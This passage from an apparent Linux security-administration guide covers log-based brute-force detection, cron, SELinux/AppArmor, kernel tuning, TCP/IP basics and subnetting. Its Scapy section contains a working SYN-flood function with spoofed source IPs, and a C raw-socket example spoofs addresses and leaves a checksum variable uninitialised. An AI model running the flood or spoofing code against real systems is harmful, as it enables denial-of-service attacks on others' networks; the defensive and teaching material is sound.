print("\nTop attacking IPs:")
for ip, count in Counter(failed).most_common(10):
print(f" {ip}: {count} attempts")
print(f"\nSuccessful logins: {len(success)}")
for login in success[-10:]: # Last 10
print(f" {login['time']} - {login['user']} from {login['ip']}")Log Anomaly Detection:
#!/usr/bin/env python3
# anomaly_detector.py
import re
from collections import defaultdict, deque
from datetime import datetime, timedelta
import sys
class LogAnomalyDetector:
def __init__(self, window_minutes=5, threshold=50):
self.window = deque()
self.window_size = window_minutes * 60
self.threshold = threshold
self.ip_counts = defaultdict(int)
def process_line(self, line, timestamp):
# Remove old entries
while self.window and self.window[0][0] < timestamp - self.window_size:
old_time, old_ip = self.window.popleft()
self.ip_counts[old_ip] -= 1
# Extract IP
ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line)
if not ip_match:
return None
ip = ip_match.group(1)
# Add to window
self.window.append((timestamp, ip))
self.ip_counts[ip] += 1
# Check for anomaly
if self.ip_counts[ip] > self.threshold:
rate = self.ip_counts[ip] / (self.window_size / 60)
return {
'ip': ip,
'count': self.ip_counts[ip],
'rate': f"{rate:.1f} per minute",
'window': f"{self.window_size/60} minutes"
}
return None
def parse_timestamp(log_line):
# Parse syslog timestamp (e.g., "Jan 15 10:30:45")
try:
parts = log_line.split()
time_str = ' '.join(parts[:3])
current_year = datetime.now().year
dt = datetime.strptime(f"{current_year} {time_str}", "%Y %b %d %H:%M:%S")
return dt.timestamp()
except:
return datetime.now().timestamp()
detector = LogAnomalyDetector(window_minutes=5, threshold=30)
with open('/var/log/auth.log', 'r') as f:
for line in f:
if 'Failed password' in line:
timestamp = parse_timestamp(line)
alert = detector.process_line(line, timestamp)
if alert:
print(f"\n[ALERT] Potential brute force detected!")
print(f"IP: {alert['ip']}")
print(f"Attempts: {alert['count']}")
print(f"Rate: {alert['rate']}")
print(f"Window: {alert['window']}")
print("-" * 50)ELK Stack for Centralized Logging:
# Install Elasticsearch, Logstash, Kibana
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | apt-key add -
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | tee /etc/apt/sources.list.d/elastic-7.x.list
apt update
apt install elasticsearch logstash kibana
# Configure Logstash
cat > /etc/logstash/conf.d/kali-logs.conf << EOF
input {
file {
path => ["/var/log/auth.log", "/var/log/syslog"]
type => "system"
start_position => "beginning"
}
}
filter {
if [type] == "system" {
grok {
match => { "message" => "%{SYSLOGBASE} %{GREEDYDATA:message}" }
}
date {
match => [ "timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
}
}
if "Failed password" in [message] {
mutate { add_tag => "failed_auth" }
grok {
match => { "message" => "Failed password for %{WORD:user} from %{IP:src_ip}" }
}
}
}
output {
elasticsearch {
hosts => ["localhost:9200"]
index => "kali-logs-%{+YYYY.MM.dd}"
}
stdout { codec => rubydebug }
}
EOF
# Start services
systemctl enable elasticsearch logstash kibana
systemctl start elasticsearch logstash kibanaCron is the traditional job scheduler in Unix-like systems, essential for automating repetitive tasks.
Crontab Syntax:
# Minute Hour Day Month Weekday Command
* * * * * /path/to/command
# Examples:
0 5 * * * /usr/local/bin/backup.sh # Daily at 5am
*/15 * * * * /usr/bin/logger "15 min" # Every 15 minutes
0 9-17 * * 1-5 /bin/check_service.sh # Every hour 9am-5pm weekdays
0 0 1 * * /usr/bin/monthly-report # First day of month at midnightCron Configuration Files:
# System crontab
/etc/crontab
# User crontabs
/var/spool/cron/crontabs/
# Cron directories
/etc/cron.d/ # Additional cron files
/etc/cron.daily/ # Daily scripts
/etc/cron.hourly/ # Hourly scripts
/etc/cron.weekly/ # Weekly scripts
/etc/cron.monthly/ # Monthly scriptsManaging User Crontabs:
# Edit current user's crontab
crontab -e
# List current user's crontab
crontab -l
# Remove current user's crontab
crontab -r
# Edit specific user's crontab
crontab -u analyst -e
# Import from file
crontab -l > backup_crontab.txt
crontab backup_crontab.txtSecurity Automation:
# Security monitoring crontab
cat > /tmp/security-cron << EOF
# Security automation tasks
# Check for failed SSH attempts every hour
0 * * * * /usr/local/bin/check-failed-ssh.sh
# Update intrusion detection rules daily
30 2 * * * /usr/local/bin/update-suricata-rules.sh
# Run vulnerability scan weekly on Sunday at 3am
0 3 * * 0 /usr/local/bin/nessus-scan.sh internal-network
# Check file integrity daily
45 1 * * * /usr/bin/aide --check | mail -s "AIDE Report" security@example.com
# Rotate and archive logs weekly
0 4 * * 0 /usr/local/bin/archive-logs.sh
# Check for system updates and email report
0 5 * * * apt update && apt list --upgradable | mail -s "Available Updates" admin@example.com
# Monitor disk space and alert if low
*/30 * * * * /usr/local/bin/check-disk.sh /dev/sda1 90
EOF
crontab /tmp/security-cronBackup Automation Script:
#!/bin/bash
# /usr/local/bin/backup.sh
BACKUP_DIR="/backup/$(date +%Y%m%d)"
LOG_FILE="/var/log/backup.log"
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> $LOG_FILE
}
cleanup_old_backups() {
# Keep 30 days of backups
find /backup -type d -mtime +30 -exec rm -rf {} \; 2>/dev/null
}
perform_backup() {
local source=$1
local dest="$BACKUP_DIR/$(basename $source)"
log "Starting backup of $source"
# Create backup directory
mkdir -p "$dest"
# Perform rsync backup
rsync -av --delete "$source" "$dest" >> $LOG_FILE 2>&1
if [ $? -eq 0 ]; then
log "Backup of $source completed successfully"
# Create compressed archive
tar -czf "$dest.tar.gz" -C "$BACKUP_DIR" "$(basename $source)" && \
rm -rf "$dest"
log "Created compressed archive: $dest.tar.gz"
else
log "ERROR: Backup of $source failed"
return 1
fi
}
# Main execution
log "=== Starting backup process ==="
# Create backup directory
mkdir -p "$BACKUP_DIR"
# Backup important directories
perform_backup "/etc"
perform_backup "/home"
perform_backup "/var/www"
perform_backup "/usr/local/bin"
# Backup database (if applicable)
if command -v mysqldump >/dev/null; then
mysqldump --all-databases > "$BACKUP_DIR/all-databases.sql"
log "Database backup completed"
fi
# Cleanup old backups
cleanup_old_backups
log "=== Backup process completed ==="
echo "Backup completed: $BACKUP_DIR"System Monitoring Cron Script:
#!/bin/bash
# /usr/local/bin/system-monitor.sh
send_alert() {
local subject="$1"
local message="$2"
echo "$message" | mail -s "$subject" admin@example.com
}
check_cpu() {
local threshold=80
local load=$(uptime | awk '{print $10}' | sed 's/,//')
local cpu_usage=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
if (( $(echo "$cpu_usage > $threshold" | bc -l) )); then
send_alert "High CPU Usage" "CPU usage is ${cpu_usage}% (threshold: ${threshold}%)"
fi
}
check_memory() {
local threshold=90
local mem_used=$(free | grep Mem | awk '{print ($3/$2) * 100.0}')
if (( $(echo "$mem_used > $threshold" | bc -l) )); then
send_alert "High Memory Usage" "Memory usage is ${mem_used}% (threshold: ${threshold}%)"
fi
}
check_disk() {
local threshold=85
df -h | grep -vE '^Filesystem|tmpfs|cdrom' | awk '{ print $5 " " $1 " " $6 }' | while read output;
do
usage=$(echo $output | awk '{print $1}' | cut -d'%' -f1)
partition=$(echo $output | awk '{print $3}')
if [ $usage -ge $threshold ]; then
send_alert "Low Disk Space" "Partition $partition is at ${usage}% capacity"
fi
done
}
check_processes() {
local critical_processes=("sshd" "nginx" "mysql" "cron")
for proc in "${critical_processes[@]}"; do
if ! pgrep -x "$proc" > /dev/null; then
send_alert "Process Down" "Critical process $proc is not running"
# Attempt restart
systemctl restart "$proc" 2>/dev/null
fi
done
}
check_failed_logins() {
local threshold=50
local failed=$(grep "Failed password" /var/log/auth.log | wc -l)
if [ $failed -gt $threshold ]; then
send_alert "Excessive Failed Logins" "$failed failed login attempts detected"
fi
}
# Run all checks
check_cpu
check_memory
check_disk
check_processes
check_failed_loginsAdvantages of systemd timers:
- Integrated with systemd (logging, dependencies)
- More flexible timing options
- Can be triggered by events (boot, socket activation)
- Resource control and security isolation
- Better error handling and logging
When to use cron:
- Simpler, well-understood syntax
- Portable across Unix-like systems
- Email output by default
- System-wide and per-user crontabs
Cron-style syntax in systemd:
# /etc/systemd/system/cron-style.timer
[Unit]
Description=Run script at 2am daily
[Timer]
OnCalendar=*-*-* 02:00:00
Persistent=true
[Install]
WantedBy=timers.targetMandatory Access Control (MAC) systems provide an additional layer of security beyond traditional Unix permissions.
SELinux is a MAC system developed by the NSA, providing fine-grained access control.
SELinux Modes:
# Check current mode
getenforce
# Enforcing | Permissive | Disabled
# Set mode temporarily
setenforce 0 # Permissive
setenforce 1 # Enforcing
# Permanent configuration
cat /etc/selinux/config
# SELINUX=enforcing|permissive|disabled
# SELINUXTYPE=targeted|minimum|mlsSELinux Contexts:
# View file context
ls -Z /etc/passwd
# system_u:object_r:etc_t:s0 /etc/passwd
# View process context
ps -Z
# unconfined_u:unconfined_r:unconfined_t:s0 1234 bash
# Change file context
chcon -t httpd_sys_content_t /var/www/html/index.html
restorecon -v /var/www/html/index.html # Restore default
# Set default context
semanage fcontext -a -t httpd_sys_content_t "/web(/.*)?"
restorecon -Rv /webSELinux Booleans:
# List booleans
getsebool -a
semanage boolean -l
# Set boolean
setsebool httpd_can_network_connect on
setsebool -P httpd_can_network_connect on # Permanent
# Common booleans
httpd_can_network_connect # Allow Apache network connections
httpd_enable_homedirs # Allow Apache to access home directories
ftp_home_dir # Allow FTP to home directoriesSELinux Troubleshooting:
# Check audit logs for denials
grep "avc: denied" /var/log/audit/audit.log
# Generate policy from denials
audit2allow -a # Show allow rules
audit2allow -a -M mypolicy # Generate policy module
semodule -i mypolicy.pp # Install module
# Search for denials by service
ausearch -m avc -c httpd
sealert -a /var/log/audit/audit.log # Human-readable messagesCreating SELinux Policy:
# Create policy for custom application
cat > myapp.te << EOF
module myapp 1.0;
require {
type httpd_t;
type httpd_sys_content_t;
class file { read write };
}
allow httpd_t httpd_sys_content_t:file { read write };
EOF
# Compile and install
checkmodule -M -m -o myapp.mod myapp.te
semodule_package -o myapp.pp -m myapp.mod
semodule -i myapp.ppAppArmor is an easier-to-use MAC system, default on Kali and Debian/Ubuntu.
AppArmor Concepts:
- Profiles: Define what resources applications can access
- Modes: Enforce (enforcing), Complain (log only), Disabled
- Hat: Sub-profiles for specific operations
Basic AppArmor Commands:
# Check status
aa-status
apparmor_status
# List profiles
aa-status | grep profiles
ls /etc/apparmor.d/
# Set mode
aa-enforce /path/to/bin
aa-complain /path/to/bin
aa-disable /path/to/binViewing AppArmor Logs:
# Check denials
grep "apparmor=" /var/log/syslog
grep "DENIED" /var/log/syslog | grep "profile="
# Generate reports
aa-logprof # Interactive profile update
aa-audit # Enable audit for profileCreating AppArmor Profiles:
# Generate profile automatically
aa-genprof /usr/bin/myapp
# Manual profile creation
cat > /etc/apparmor.d/usr.bin.myapp << EOF
#include <tunables/global>
/usr/bin/myapp {
#include <abstractions/base>
#include <abstractions/nameservice>
# Capabilities
capability net_bind_service,
capability setuid,
# Filesystem access
/etc/myapp/config r,
/var/log/myapp.log w,
/var/lib/myapp/** rw,
# Network
network inet stream,
network inet6 stream,
# Deny sensitive files
deny /etc/shadow r,
deny /etc/security/** r,
# Execute
/usr/bin/myapp mr,
/bin/bash ix,
}
EOF
# Load profile
apparmor_parser -r /etc/apparmor.d/usr.bin.myapp
# Set to enforce
aa-enforce /usr/bin/myappProfile Abstractions:
# Common abstractions
#include <abstractions/base> # Basic system access
#include <abstractions/nameservice> # DNS and network
#include <abstractions/authentication> # PAM and auth
#include <abstractions/openssl> # SSL certificates
#include <abstractions/php> # PHP includes
#include <abstractions/mysql> # MySQL client
# View available abstractions
ls /etc/apparmor.d/abstractions/| Feature | SELinux | AppArmor |
|---|---|---|
| Complexity | Complex | Simpler |
| Default on | RHEL/CentOS/Fedora | Debian/Ubuntu/Kali |
| Policy type | Type enforcement | Path-based |
| Learning curve | Steep | Moderate |
| Flexibility | Very high | Moderate |
| Performance | Slight overhead | Minimal overhead |
| Administration | semanage, audit2allow | aa-* tools |
Choosing Between Them:
- AppArmor for most Debian-based systems, easier to learn and maintain
- SELinux for enterprise environments, complex applications, multi-level security
Kernel tuning optimizes system performance for specific workloads and use cases.
Viewing and Modifying Parameters:
# List all parameters
sysctl -a
# View specific parameter
sysctl net.ipv4.tcp_tw_reuse
cat /proc/sys/net/ipv4/tcp_tw_reuse
# Set temporarily
sysctl -w net.ipv4.tcp_tw_reuse=1
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse
# Set permanently
echo "net.ipv4.tcp_tw_reuse = 1" >> /etc/sysctl.conf
echo "net.ipv4.tcp_tw_reuse = 1" > /etc/sysctl.d/99-network.confTCP Stack Optimization:
# /etc/sysctl.d/99-network-performance.conf
# Increase TCP buffer sizes
net.core.rmem_max = 134217728
net.core.wmem_max = 134217728
net.ipv4.tcp_rmem = 4096 87380 134217728
net.ipv4.tcp_wmem = 4096 65536 134217728
# Increase queue lengths
net.core.netdev_max_backlog = 5000
net.ipv4.tcp_max_syn_backlog = 4096
net.core.somaxconn = 1024
# TCP optimization
net.ipv4.tcp_slow_start_after_idle = 0
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_congestion_control = cubic # or bbr for newer kernels
# For high-speed networks
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.ipv4.tcp_mem = 16777216 16777216 16777216
# Fast recycling (use with caution)
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 30BBR Congestion Control:
# Enable BBR (requires kernel 4.9+)
modprobe tcp_bbr
echo "tcp_bbr" >> /etc/modules-load.d/modules.conf
sysctl -w net.ipv4.tcp_congestion_control=bbr
sysctl -w net.core.default_qdisc=fq
# Verify
sysctl net.ipv4.tcp_congestion_control
lsmod | grep bbrVirtual Memory Tuning:
# /etc/sysctl.d/99-memory.conf
# Swappiness (0-100, lower = less swapping)
vm.swappiness = 10
# Cache pressure (0-100, higher = more aggressive reclaim)
vm.vfs_cache_pressure = 50
# Dirty page ratio (percentage of memory)
vm.dirty_ratio = 30
vm.dirty_background_ratio = 5
# Overcommit memory (0=heuristic, 1=always, 2=never)
vm.overcommit_memory = 1
vm.overcommit_ratio = 50
# Min free memory (in pages)
vm.min_free_kbytes = 67584
# OOM killer adjustment
vm.panic_on_oom = 0
vm.oom_kill_allocating_task = 0Huge Pages for Database Workloads:
# Enable Transparent Huge Pages
echo always > /sys/kernel/mm/transparent_hugepage/enabled
# Configure huge pages
echo 512 > /proc/sys/vm/nr_hugepages
# Check usage
grep HugePages /proc/meminfo
cat /proc/meminfo | grep HugeI/O Scheduler Selection:
# Check current scheduler
cat /sys/block/sda/queue/scheduler
# Set scheduler (noop, deadline, cfq)
echo deadline > /sys/block/sda/queue/scheduler
# Persistent via udev
cat > /etc/udev/rules.d/60-iosched.rules << EOF
ACTION=="add|change", KERNEL=="sd*", ATTR{queue/scheduler}="deadline"
EOFFilesystem Mount Options for Performance:
# /etc/fstab with performance options
/dev/sda1 / ext4 defaults,noatime,nodiratime,barrier=0,data=writeback 0 1
# noatime - Don't update access times
# nodiratime - Don't update directory access times
# barrier=0 - Disable write barriers (risk of corruption on power loss)
# data=writeback - Faster write modeI/O Limits and Priority:
# Set I/O priority with ionice
ionice -c 2 -n 0 -p $$ # Best effort, highest priority
ionice -c 3 -p $$ # Idle priority
# Set CPU affinity
taskset -c 0,1 command
taskset -p 1234 # Show affinity of PID 1234Module Management:
# List modules
lsmod
modprobe -l
# Load module
modprobe module_name
insmod /path/to/module.ko
# Remove module
modprobe -r module_name
rmmod module_name
# Module parameters
modinfo module_name
modprobe module_name param_name=value
echo "options module_name param=value" >> /etc/modprobe.d/module.confBlacklisting Modules:
# Prevent module from loading
cat > /etc/modprobe.d/blacklist.conf << EOF
blacklist module_name
install module_name /bin/false
EOFReal-time Monitoring Tools:
# CPU and memory
htop
atop
glances
# I/O monitoring
iotop
iostat -x 1
# Network monitoring
nethogs
iftop
bmon
# Comprehensive monitoring
dstat
sarPerformance Profiling:
# perf tools
perf top
perf record -a sleep 60
perf report
# strace for system calls
strace -c -p 1234
strace -e network -p 1234
# ltrace for library calls
ltrace -c command
# SystemTap (if installed)
stap -e 'probe syscall.open { printf("%s(%d) opens %s\n", execname(), pid(), filename) }'Understanding the TCP/IP stack is fundamental for network analysis, exploitation, and defense.
OSI Model Layers:
- Physical: Bits, voltage, cables
- Data Link: Frames, MAC addresses, Ethernet
- Network: Packets, IP addressing, routing
- Transport: Segments, TCP/UDP, ports
- Session: Session management
- Presentation: Data encoding, encryption
- Application: HTTP, FTP, DNS, SMTP
TCP/IP Model (simplified):
- Network Interface: Physical + Data Link
- Internet: IP, ICMP, ARP
- Transport: TCP, UDP
- Application: All upper layers
Ethernet Frame Structure:
Preamble (7 bytes) | SFD (1) | Destination MAC (6) | Source MAC (6) | Type/Length (2) | Payload (46-1500) | FCS (4)
MAC Addresses:
- 48-bit unique identifier
- First 24 bits: OUI (Organizationally Unique Identifier)
- Last 24 bits: NIC-specific
- Broadcast: FF:FF:FF:FF:FF:FF
- Multicast: First bit of first byte is 1
Viewing MAC addresses:
# Show MAC addresses
ip link show
cat /sys/class/net/eth0/address
# ARP cache
arp -n
ip neigh showIPv4 Packet Header:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
IP Fragmentation:
# View fragmentation settings
sysctl net.ipv4.ipfrag_time
sysctl net.ipv4.ipfrag_high_thresh
# Send fragmented packets with hping3
hping3 -c 1 -d 3000 -f target.com
# Capture and analyze fragments
tcpdump -i eth0 -v 'ip[6] & 0x20 != 0' # Show fragmentsIP Options and Security:
# Disable IP forwarding (unless router)
sysctl -w net.ipv4.ip_forward=0
# Disable source routing
sysctl -w net.ipv4.conf.all.accept_source_route=0
sysctl -w net.ipv6.conf.all.accept_source_route=0TCP Segment Structure:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |C|E|U|A|P|R|S|F| |
| Offset| Res. |W|C|R|C|S|S|Y|I| Window |
| | |R|E|G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP Flags:
- SYN: Synchronize (connection establishment)
- ACK: Acknowledgment
- FIN: Finish (graceful close)
- RST: Reset (abort connection)
- PSH: Push (send immediately)
- URG: Urgent
- ECE: ECN-Echo
- CWR: Congestion Window Reduced
TCP State Diagram:
CLOSED
| SYN
v
LISTEN --> SYN_RCVD --> ESTABLISHED
| | |
| SYN | ACK | FIN
v v v
SYN_SENT ESTABLISHED FIN_WAIT_1 --> FIN_WAIT_2 --> TIME_WAIT
| | |
| FIN+ACK | FIN | Timeout
v v v
CLOSING CLOSING CLOSED
TCP Connection Analysis:
# View TCP connections
netstat -tan
ss -tan
# Follow TCP stream with tcpflow
tcpflow -i eth0 port 80
# Analyze TCP options with scapy
from scapy.all import *
packet = IP(dst="google.com")/TCP(dport=80, flags="S")
response = sr1(packet, timeout=2)
response.show()UDP Header:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Length | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP vs UDP Comparison:
| Feature | TCP | UDP |
|---|---|---|
| Connection | Connection-oriented | Connectionless |
| Reliability | Reliable | Unreliable |
| Ordering | In-order delivery | No ordering |
| Flow control | Yes | No |
| Congestion control | Yes | No |
| Overhead | Higher | Lower |
| Use cases | Web, email, SSH | DNS, VoIP, streaming |
Creating Custom Packets with Scapy:
#!/usr/bin/env python3
from scapy.all import *
# Create custom TCP packet
ip = IP(src="192.168.1.100", dst="192.168.1.1")
tcp = TCP(sport=12345, dport=80, flags="S", seq=1000)
packet = ip/tcp
# Send and receive
response = sr1(packet, timeout=2)
if response:
response.show()
# SYN flood (educational only!)
def syn_flood(target, port, count=100):
for i in range(count):
ip = IP(src=RandIP(), dst=target)
tcp = TCP(sport=RandShort(), dport=port, flags="S")
send(ip/tcp, verbose=0)
print(f"Sent {count} SYN packets to {target}:{port}")
# Craft ICMP packet
icmp = IP(dst="8.8.8.8")/ICMP(type=8)/"Hello"
reply = sr1(icmp, timeout=2)
print(f"Reply from {reply.src}")Using raw sockets in C:
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
unsigned short checksum(unsigned short *ptr, int nbytes) {
long sum;
unsigned short oddbyte;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)~sum;
}
int main() {
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return 1;
}
char packet[4096];
struct iphdr *ip = (struct iphdr *)packet;
struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
// Fill IP header
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htonl(54321);
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr("1.2.3.4");
ip->daddr = inet_addr("192.168.1.1");
ip->check = checksum((unsigned short *)ip, sizeof(struct iphdr));
// Fill TCP header
tcp->source = htons(1234);
tcp->dest = htons(80);
tcp->seq = htonl(1);
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->window = htons(5840);
tcp->check = 0;
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = ip->daddr;
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest));
printf("SYN packet sent\n");
return 0;
}Understanding IP addressing and subnetting is crucial for network design and penetration testing.
Binary to Decimal Conversion:
128 64 32 16 8 4 2 1
1 1 1 1 1 1 1 1 = 255
1 1 0 0 0 0 0 0 = 192
1 0 1 0 1 0 1 0 = 170
0 0 0 0 0 0 0 0 = 0
IP Address Classes (historical):
| Class | First Octet | Network Bits | Host Bits | Default Mask |
|---|---|---|---|---|
| A | 1-126 | 8 | 24 | 255.0.0.0 (/8) |
| B | 128-191 | 16 | 16 | 255.255.0.0 (/16) |
| C | 192-223 | 24 | 8 | 255.255.255.0 (/24) |
| D | 224-239 | Multicast | - | - |
| E | 240-255 | Experimental | - | - |
CIDR (Classless Inter-Domain Routing):
CIDR notation: 192.168.1.0/24 means:
- Network: 192.168.1.0
- Netmask: 255.255.255.0
- Number of hosts: 254 (2^(32-24) - 2)
Subnet Mask Reference:
/32: 255.255.255.255 - 1 host
/31: 255.255.255.254 - 2 hosts (point-to-point)
/30: 255.255.255.252 - 4 hosts (2 usable)
/29: 255.255.255.248 - 8 hosts (6 usable)
/28: 255.255.255.240 - 16 hosts (14 usable)
/27: 255.255.255.224 - 32 hosts (30 usable)
/26: 255.255.255.192 - 64 hosts (62 usable)
/25: 255.255.255.128 - 128 hosts (126 usable)
/24: 255.255.255.0 - 256 hosts (254 usable)
/23: 255.255.254.0 - 512 hosts (510 usable)
/22: 255.255.252.0 - 1024 hosts (1022 usable)
/21: 255.255.248.0 - 2048 hosts (2046 usable)
/20: 255.255.240.0 - 4096 hosts (4094 usable)
/19: 255.255.224.0 - 8192 hosts (8190 usable)
/18: 255.255.192.0 - 16384 hosts (16382 usable)
/17: 255.255.128.0 - 32768 hosts (32766 usable)
/16: 255.255.0.0 - 65536 hosts (65534 usable)
Subnet Calculation Script:
#!/usr/bin/env python3
# subnet_calculator.py
import ipaddress
import sys
def calculate_subnet(network_str):
try:
network = ipaddress.ip_network(network_str, strict=False)
print(f"Network: {network.network_address}")
print(f"Netmask: {network.netmask}")
print(f"CIDR: /{network.prefixlen}")
print(f"Broadcast: {network.broadcast_address}")
print(f"Number of hosts: {network.num_addresses}")
print(f"Usable hosts: {network.num_addresses - 2}")
print(f"First usable: {list(network.hosts())[0] if network.num_addresses > 2 else 'N/A'}")
print(f"Last usable: {list(network.hosts())[-1] if network.num_addresses > 2 else 'N/A'}")
# Wildcard mask for ACLs
wildcard = ipaddress.IPv4Address(int(network.netmask) ^ 0xFFFFFFFF)
print(f"Wildcard mask: {wildcard}")
# Binary representation
ip_int = int(network.network_address)
print(f"Binary: {bin(ip_int)[2:].zfill(32)}")
# Subnet information
print(f"\nSubnet Information:")
print(f"Network bits: {network.prefixlen}")
print(f"Host bits: {32 - network.prefixlen}")
# Possible subnets
if network.prefixlen < 30:
smaller = network.prefixlen + 2
print(f"\nPossible smaller subnets (/{(network.prefixlen + 2) if network.prefixlen + 2 <= 30 else 'N/A'}):")
for i, subnet in enumerate(network.subnets(new_prefix=min(32, network.prefixlen + 2))):
if i >= 4:
print(f" ... and more")
break
print(f" {subnet}")
except ValueError as e:
print(f"Error: {e}")
def supernet_calc(networks):
"""Calculate supernet of multiple networks"""
try:
nets = [ipaddress.ip_network(n) for n in networks]
supernet = ipaddress.collapse_addresses(nets)
print(f"Supernet(s):")
for net in supernet:
print(f" {net}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: subnet_calculator.py <network> [network2 ...]")
print("Example: subnet_calculator.py 192.168.1.0/24")
sys.exit(1)
if len(sys.argv) == 2:
calculate_subnet(sys.argv[1])
else:
supernet_calc(sys.argv[1:])VLSM (Variable Length Subnet Mask) Example:
Network: 192.168.1.0/24
Requirements:
- Subnet A: 50 hosts
- Subnet B: 30 hosts
- Subnet C: 10 hosts
- Subnet D: 2 hosts (point-to-point)
Calculations:
- Subnet A: /26 (64 addresses) - 192.168.1.0/26
- Subnet B: /27 (32 addresses) - 192.168.1.64/27
- Subnet C: /28 (16 addresses) - 192.168.1.96/28
- Subnet D: /30 (4 addresses) - 192.168.1.112/30
- Remaining: 192.168.1.116/30, etc.
Command-line subnet calculation:
# Using ipcalc
apt install ipcalc
ipcalc 192.168.1.0/24
ipcalc 10.0.0.0/8 255.255.240.0
# Using sipcalc
apt install sipcalc
sipcalc 192.168.1.0/24
# Using nmap
nmap -sL 192.168.1.0/24 # List targetsNetwork scanning with subnet awareness:
#!/bin/bash
# scan_subnet.sh
subnet=$1
if [ -z "$subnet" ]; then
echo "Usage: $0 <subnet>"
echo "Example: $0 192.168.1.0/24"
exit 1
fi
# Get network information
network=$(ipcalc -n $subnet | cut -d= -f2)
netmask=$(ipcalc -m $subnet | cut -d= -f2)
broadcast=$(ipcalc -b $subnet | cut -d= -f2)
echo "Scanning subnet: $subnet"
echo "Network: $network"
echo "Netmask: $netmask"
echo "Broadcast: $broadcast"
echo "----------------------------------------"
# Ping sweep
for ip in $(nmap -sL $subnet | grep "Nmap scan" | awk '{print $5}' | grep -v "$broadcast" | grep -v "$network"); do
ping -c 1 -W 1 $ip >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo "Host $ip is UP"
fi
doneThe Domain Name System is critical for internet functionality and a common target for attacks.
DNS Hierarchy:
Root (.)
├── com (TLD)
│ ├── example.com
│ │ ├── www.example.com
│ │ └── mail.example.com
│ └── google.com
├── org (TLD)
├── net (TLD)
└── country codes (us, uk, de, etc.)
DNS Server Types:
- Root servers: 13 logical root servers worldwide
